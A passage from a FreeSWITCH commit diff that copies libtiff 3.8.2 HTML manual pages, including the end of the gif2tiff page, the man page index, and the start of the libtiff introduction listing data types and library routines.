+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Write data with a specified number of rows per strip; by
+default the number of rows/strip is selected so that each
+strip is approximately 8 kilobytes.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The program is based on Paul Haeberli&rsquo;s
+<i>fromgif</i> program which, in turn, is based on Marcel
+J.E. Mol&rsquo;s GIF reader.</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Should have more options to control output format.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/index.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/index.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/index.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/index.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/index.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,64 @@
+<HTML><HEAD><TITLE>Libtiff HTML manpage index</TITLE></HEAD><BODY BGCOLOR=white><ul><H2>Man Pages</h2><p>
+<li><A HREF=libtiff.3tiff.html>libtiff.3tiff.html</a>
+<li><A HREF=TIFFbuffer.3tiff.html>TIFFbuffer.3tiff.html</a>
+<li><A HREF=TIFFClose.3tiff.html>TIFFClose.3tiff.html</a>
+<li><A HREF=TIFFcodec.3tiff.html>TIFFcodec.3tiff.html</a>
+<li><A HREF=TIFFcolor.3tiff.html>TIFFcolor.3tiff.html</a>
+<li><A HREF=TIFFDataWidth.3tiff.html>TIFFDataWidth.3tiff.html</a>
+<li><A HREF=TIFFError.3tiff.html>TIFFError.3tiff.html</a>
+<li><A HREF=TIFFFlush.3tiff.html>TIFFFlush.3tiff.html</a>
+<li><A HREF=TIFFGetField.3tiff.html>TIFFGetField.3tiff.html</a>
+<li><A HREF=TIFFmemory.3tiff.html>TIFFmemory.3tiff.html</a>
+<li><A HREF=TIFFOpen.3tiff.html>TIFFOpen.3tiff.html</a>
+<li><A HREF=TIFFPrintDirectory.3tiff.html>TIFFPrintDirectory.3tiff.html</a>
+<li><A HREF=TIFFquery.3tiff.html>TIFFquery.3tiff.html</a>
+<li><A HREF=TIFFReadDirectory.3tiff.html>TIFFReadDirectory.3tiff.html</a>
+<li><A HREF=TIFFReadEncodedStrip.3tiff.html>TIFFReadEncodedStrip.3tiff.html</a>
+<li><A HREF=TIFFReadEncodedTile.3tiff.html>TIFFReadEncodedTile.3tiff.html</a>
+<li><A HREF=TIFFReadRawStrip.3tiff.html>TIFFReadRawStrip.3tiff.html</a>
+<li><A HREF=TIFFReadRawTile.3tiff.html>TIFFReadRawTile.3tiff.html</a>
+<li><A HREF=TIFFReadRGBAImage.3tiff.html>TIFFReadRGBAImage.3tiff.html</a>
+<li><A HREF=TIFFReadRGBAStrip.3tiff.html>TIFFReadRGBAStrip.3tiff.html</a>
+<li><A HREF=TIFFReadRGBATile.3tiff.html>TIFFReadRGBATile.3tiff.html</a>
+<li><A HREF=TIFFReadScanline.3tiff.html>TIFFReadScanline.3tiff.html</a>
+<li><A HREF=TIFFReadTile.3tiff.html>TIFFReadTile.3tiff.html</a>
+<li><A HREF=TIFFRGBAImage.3tiff.html>TIFFRGBAImage.3tiff.html</a>
+<li><A HREF=TIFFSetDirectory.3tiff.html>TIFFSetDirectory.3tiff.html</a>
+<li><A HREF=TIFFSetField.3tiff.html>TIFFSetField.3tiff.html</a>
+<li><A HREF=TIFFsize.3tiff.html>TIFFsize.3tiff.html</a>
+<li><A HREF=TIFFstrip.3tiff.html>TIFFstrip.3tiff.html</a>
+<li><A HREF=TIFFswab.3tiff.html>TIFFswab.3tiff.html</a>
+<li><A HREF=TIFFtile.3tiff.html>TIFFtile.3tiff.html</a>
+<li><A HREF=TIFFWarning.3tiff.html>TIFFWarning.3tiff.html</a>
+<li><A HREF=TIFFWriteDirectory.3tiff.html>TIFFWriteDirectory.3tiff.html</a>
+<li><A HREF=TIFFWriteEncodedStrip.3tiff.html>TIFFWriteEncodedStrip.3tiff.html</a>
+<li><A HREF=TIFFWriteEncodedTile.3tiff.html>TIFFWriteEncodedTile.3tiff.html</a>
+<li><A HREF=TIFFWriteRawStrip.3tiff.html>TIFFWriteRawStrip.3tiff.html</a>
+<li><A HREF=TIFFWriteRawTile.3tiff.html>TIFFWriteRawTile.3tiff.html</a>
+<li><A HREF=TIFFWriteScanline.3tiff.html>TIFFWriteScanline.3tiff.html</a>
+<li><A HREF=TIFFWriteTile.3tiff.html>TIFFWriteTile.3tiff.html</a>
+<li><A HREF=fax2ps.1.html>fax2ps.1.html</a>
+<li><A HREF=fax2tiff.1.html>fax2tiff.1.html</a>
+<li><A HREF=gif2tiff.1.html>gif2tiff.1.html</a>
+<li><A HREF=pal2rgb.1.html>pal2rgb.1.html</a>
+<li><A HREF=ppm2tiff.1.html>ppm2tiff.1.html</a>
+<li><A HREF=ras2tiff.1.html>ras2tiff.1.html</a>
+<li><A HREF=raw2tiff.1.html>raw2tiff.1.html</a>
+<li><A HREF=rgb2ycbcr.1.html>rgb2ycbcr.1.html</a>
+<li><A HREF=sgi2tiff.1.html>sgi2tiff.1.html</a>
+<li><A HREF=thumbnail.1.html>thumbnail.1.html</a>
+<li><A HREF=tiff2bw.1.html>tiff2bw.1.html</a>
+<li><A HREF=tiff2pdf.1.html>tiff2pdf.1.html</a>
+<li><A HREF=tiff2ps.1.html>tiff2ps.1.html</a>
+<li><A HREF=tiff2rgba.1.html>tiff2rgba.1.html</a>
+<li><A HREF=tiffcmp.1.html>tiffcmp.1.html</a>
+<li><A HREF=tiffcp.1.html>tiffcp.1.html</a>
+<li><A HREF=tiffdither.1.html>tiffdither.1.html</a>
+<li><A HREF=tiffdump.1.html>tiffdump.1.html</a>
+<li><A HREF=tiffgt.1.html>tiffgt.1.html</a>
+<li><A HREF=tiffinfo.1.html>tiffinfo.1.html</a>
+<li><A HREF=tiffmedian.1.html>tiffmedian.1.html</a>
+<li><A HREF=tiffset.1.html>tiffset.1.html</a>
+<li><A HREF=tiffsplit.1.html>tiffsplit.1.html</a>
+<li><A HREF=tiffsv.1.html>tiffsv.1.html</a>
+</ul></BODY></HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/libtiff.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/libtiff.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/libtiff.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/libtiff.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/libtiff.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3137 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:07 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>INTRO</title>
+</head>
+<body>
+
+<h1 align=center>INTRO</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DATA TYPES">DATA TYPES</a><br>
+<a href="#LIST OF ROUTINES">LIST OF ROUTINES</a><br>
+<a href="#TAG USAGE">TAG USAGE</a><br>
+<a href="#PSEUDO TAGS">PSEUDO TAGS</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+<a href="#BUGS">BUGS</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>libtiff &minus; introduction to <i>libtiff</i>, a
+library for reading and writing</big> TIFF
+<big>files</big></p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>#include &lt;tiffio.h&gt;</b></big></p>
+<!-- INDENTATION -->
+<p><big>cc file.c <b>-ltiff</b></big></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><i>libtiff</i> is a library for reading and writing
+data files encoded with the <i>Tag Image File</i> format,
+Revision 6.0 (or revision 5.0 or revision 4.0). This file
+format is suitable for archiving multi-color and
+monochromatic image data.</big></p>
+<!-- INDENTATION -->
+<p><big>The library supports several compression algorithms,
+as indicated by the <i>Compression</i> field, including: no
+compression (1),</big> CCITT <big>1D Huffman compression
+(2),</big> CCITT <big>Group 3 Facsimile compression
+(3),</big> CCITT <big>Group 4 Facsimile compression (4),
+Lempel-Ziv &amp; Welch compression (5), baseline JPEG
+compression (7), word-aligned 1D Huffman compression
+(32771), and PackBits compression (32773). In addition,
+several nonstandard compression algorithms are supported:
+the 4-bit compression algorithm used by the
+<i>ThunderScan</i> program (32809) (decompression only),
+NeXT&rsquo;s 2-bit compression algorithm (32766)
+(decompression only), an experimental LZ-style algorithm
+known as Deflate (32946), and an experimental CIE LogLuv
+compression scheme designed for images with high dynamic
+range (32845 for LogL and 32845 for LogLuv). Directory
+information may be in either little- or big-endian byte
+order&minus;byte swapping is automatically done by the
+library. Data bit ordering may be either Most Significant
+Bit (</big> MSB <big>) to Least Significant Bit (</big> LSB
+<big>) or</big> LSB <big>to</big> MSB. <big>Finally, the
+library does not support files in which the
+<i>BitsPerSample</i>, <i>Compression</i>,
+<i>MinSampleValue</i>, or <i>MaxSampleValue</i> fields are
+defined differently on a per-sample basis (in Rev. 6.0 the
+<i>Compression</i> tag is not defined on a per-sample basis,
+so this is immaterial).</big></p>
+</td>
+</table>
+<a name="DATA TYPES"></a>
+<h2>DATA TYPES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>The library makes extensive use of C typedefs to
+promote portability. Two sets of typedefs are used, one for
+communication with clients of the library and one for
+internal data structures and parsing of the</big> TIFF
+<big>format. The following typedefs are exposed to users
+either through function definitions or through parameters
+passed through the varargs interfaces.</big></p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="3" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef unsigned short uint16;</big></p>
+</td>
+<td width="38%">
+
+<p><big>16-bit unsigned integer</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef unsigned &lt;<i>thing</i>&gt;
+uint32;</big></p>
+</td>
+<td width="38%">
+
+<p><big>32-bit unsigned integer</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef unsigned int ttag_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>directory tag</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef uint16 tdir_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>directory index</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef uint16 tsample_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>sample number</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef uint32 tstrip_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>strip number</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef uint32 ttile_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>tile number</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef int32 tsize_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>i/o size in bytes</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef void* tdata_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>image data ref</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef void* thandle_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>client data handle</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="15%"></td>
+<td width="46%">
+
+<p><big>typedef int32 toff_t;</big></p>
+</td>
+<td width="38%">
+
+<p><big>file offset</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>Note that <i>tstrip_t</i>, <i>ttile_t</i>, and
+<i>tsize_t</i> are constrained to be no more than 32-bit
+quantities by 32-bit fields they are stored in in the</big>
+TIFF <big>image. Likewise <i>tsample_t</i> is limited by the
+16-bit field used to store the <i>SamplesPerPixel</i> tag.
+<i>tdir_t</i> constrains the maximum number of</big> IFDs
+<big>that may appear in an image and may be an arbitrary
+size (w/o penalty). <i>ttag_t</i> must be either int,
+unsigned int, pointer, or double because the library uses a
+varargs interface and</big> ANSI C <big>restricts the type
+of the parameter before an ellipsis to be a promoted type.
+<i>toff_t</i> is defined as int32 because TIFF file offsets
+are (unsigned) 32-bit quantities. A signed value is used
+because some interfaces return &minus;1 on error. Finally,
+note that user-specified data references are passed as
+opaque handles and only cast at the lowest layers where
+their type is presumed.</big></p>
+</td>
+</table>
+<a name="LIST OF ROUTINES"></a>
+<h2>LIST OF ROUTINES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>The following routines are part of the library.
+Consult specific manual pages for details on their
+operation; on most systems doing &lsquo;&lsquo;man
+function-name&rsquo;&rsquo; will work.</big></p></td>
+</table>
+<!-- TABS -->
+
+<p><big><i>Name Description</i></big></p>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="3" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFCheckpointDirectory</big></p>
+</td>
+<td width="67%">
+
+<p><big>writes the current state of the directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFCheckTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>very x,y,z,sample is within image</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFCIELabToRGBInit</big></p>
+</td>
+<td width="67%">
+
+<p><big>initialize CIE L*a*b* 1976 to RGB conversion
+state</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFCIELabToXYZ</big></p>
+</td>
+<td width="67%">
+
+<p><big>perform CIE L*a*b* 1976 to CIE XYZ
+conversion</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFClientOpen</big></p>
+</td>
+<td width="67%">
+
+<p><big>open a file for reading or writing</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFClose</big></p>
+</td>
+<td width="67%">
+
+<p><big>close an open file</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFComputeStrip</big></p>
+</td>
+<td width="67%">
+
+<p><big>return strip containing y,sample</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFComputeTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>return tile containing x,y,z,sample</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFCurrentDirectory</big></p>
+</td>
+<td width="67%">
+
+<p><big>return index of current directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFCurrentRow</big></p>
+</td>
+<td width="67%">
+
+<p><big>return index of current scanline</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFCurrentStrip</big></p>
+</td>
+<td width="67%">
+
+<p><big>return index of current strip</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFCurrentTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>return index of current tile</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFDataWidth</big></p>
+</td>
+<td width="67%">
+
+<p><big>return the size of TIFF data types</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFError</big></p>
+</td>
+<td width="67%">
+
+<p><big>library error handler</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFFdOpen</big></p>
+</td>
+<td width="67%">
+
+<p><big>open a file for reading or writing</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFFileName</big></p>
+</td>
+<td width="67%">
+
+<p><big>return name of open file</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFFileno</big></p>
+</td>
+<td width="67%">
+
+<p><big>return open file descriptor</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFFindCODEC</big></p>
+</td>
+<td width="67%">
+
+<p><big>find standard codec for the specific
+scheme</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFFlush</big></p>
+</td>
+<td width="67%">
+
+<p><big>flush all pending writes</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFFlushData</big></p>
+</td>
+<td width="67%">
+
+<p><big>flush pending data writes</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFGetBitRevTable</big></p>
+</td>
+<td width="67%">
+
+<p><big>return bit reversal table</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFGetField</big></p>
+</td>
+<td width="67%">
+
+<p><big>return tag value in current directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFGetFieldDefaulted</big></p>
+</td>
+<td width="67%">
+
+<p><big>return tag value in current directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFGetMode</big></p>
+</td>
+<td width="67%">
+
+<p><big>return open file mode</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFGetVersion</big></p>
+</td>
+<td width="67%">
+
+<p><big>return library version string</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFIsCODECConfigured</big></p>
+</td>
+<td width="67%">
+
+<p><big>check, whether we have working codec</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFIsMSB2LSB</big></p>
+</td>
+<td width="67%">
+
+<p><big>return true if image data is being
+returned</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%"></td>
+<td width="67%">
+
+<p><big>with bit 0 as the most significant bit</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFIsTiled</big></p>
+</td>
+<td width="67%">
+
+<p><big>return true if image data is tiled</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFIsByteSwapped</big></p>
+</td>
+<td width="67%">
+
+<p><big>return true if image data is byte-swapped</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFNumberOfStrips</big></p>
+</td>
+<td width="67%">
+
+<p><big>return number of strips in an image</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFNumberOfTiles</big></p>
+</td>
+<td width="67%">
+
+<p><big>return number of tiles in an image</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFOpen</big></p>
+</td>
+<td width="67%">
+
+<p><big>open a file for reading or writing</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFPrintDirectory</big></p>
+</td>
+<td width="67%">
+
+<p><big>print description of the current
+directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadBufferSetup</big></p>
+</td>
+<td width="67%">
+
+<p><big>specify i/o buffer for reading</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadDirectory</big></p>
+</td>
+<td width="67%">
+
+<p><big>read the next directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadEncodedStrip</big></p>
+</td>
+<td width="67%">
+
+<p><big>read and decode a strip of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadEncodedTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>read and decode a tile of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadRawStrip</big></p>
+</td>
+<td width="67%">
+
+<p><big>read a raw strip of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadRawTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>read a raw tile of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadRGBAImage</big></p>
+</td>
+<td width="67%">
+
+<p><big>read an image into a fixed format raster</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadScanline</big></p>
+</td>
+<td width="67%">
+
+<p><big>read and decode a row of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReadTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>read and decode a tile of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFRegisterCODEC</big></p>
+</td>
+<td width="67%">
+
+<p><big>override standard codec for the specific
+scheme</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFReverseBits</big></p>
+</td>
+<td width="67%">
+
+<p><big>reverse bits in an array of bytes</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFRGBAImageBegin</big></p>
+</td>
+<td width="67%">
+
+<p><big>setup decoder state for TIFFRGBAImageGet</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFRGBAImageEnd</big></p>
+</td>
+<td width="67%">
+
+<p><big>release TIFFRGBAImage decoder state</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFRGBAImageGet</big></p>
+</td>
+<td width="67%">
+
+<p><big>read and decode an image</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFRGBAImageOK</big></p>
+</td>
+<td width="67%">
+
+<p><big>is image readable by TIFFRGBAImageGet</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFScanlineSize</big></p>
+</td>
+<td width="67%">
+
+<p><big>return size of a scanline</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSetDirectory</big></p>
+</td>
+<td width="67%">
+
+<p><big>set the current directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSetSubDirectory</big></p>
+</td>
+<td width="67%">
+
+<p><big>set the current directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSetErrorHandler</big></p>
+</td>
+<td width="67%">
+
+<p><big>set error handler function</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSetField</big></p>
+</td>
+<td width="67%">
+
+<p><big>set a tag&rsquo;s value in the current
+directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSetWarningHandler</big></p>
+</td>
+<td width="67%">
+
+<p><big>set warning handler function</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFStripSize</big></p>
+</td>
+<td width="67%">
+
+<p><big>returns size of a strip</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFRawStripSize</big></p>
+</td>
+<td width="67%">
+
+<p><big>returns the number of bytes in a raw
+strip</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSwabShort</big></p>
+</td>
+<td width="67%">
+
+<p><big>swap bytes of short</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSwabLong</big></p>
+</td>
+<td width="67%">
+
+<p><big>swap bytes of long</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSwabArrayOfShort</big></p>
+</td>
+<td width="67%">
+
+<p><big>swap bytes of an array of shorts</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFSwabArrayOfLong</big></p>
+</td>
+<td width="67%">
+
+<p><big>swap bytes of an array of longs</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFTileRowSize</big></p>
+</td>
+<td width="67%">
+
+<p><big>return size of a row in a tile</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFTileSize</big></p>
+</td>
+<td width="67%">
+
+<p><big>return size of a tile</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFUnRegisterCODEC</big></p>
+</td>
+<td width="67%">
+
+<p><big>unregisters the codec</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFVGetField</big></p>
+</td>
+<td width="67%">
+
+<p><big>return tag value in current directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFVGetFieldDefaulted</big></p>
+</td>
+<td width="67%">
+
+<p><big>return tag value in current directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFVSetField</big></p>
+</td>
+<td width="67%">
+
+<p><big>set a tag&rsquo;s value in the current
+directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFVStripSize</big></p>
+</td>
+<td width="67%">
+
+<p><big>returns the number of bytes in a strip</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFWarning</big></p>
+</td>
+<td width="67%">
+
+<p><big>library warning handler</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
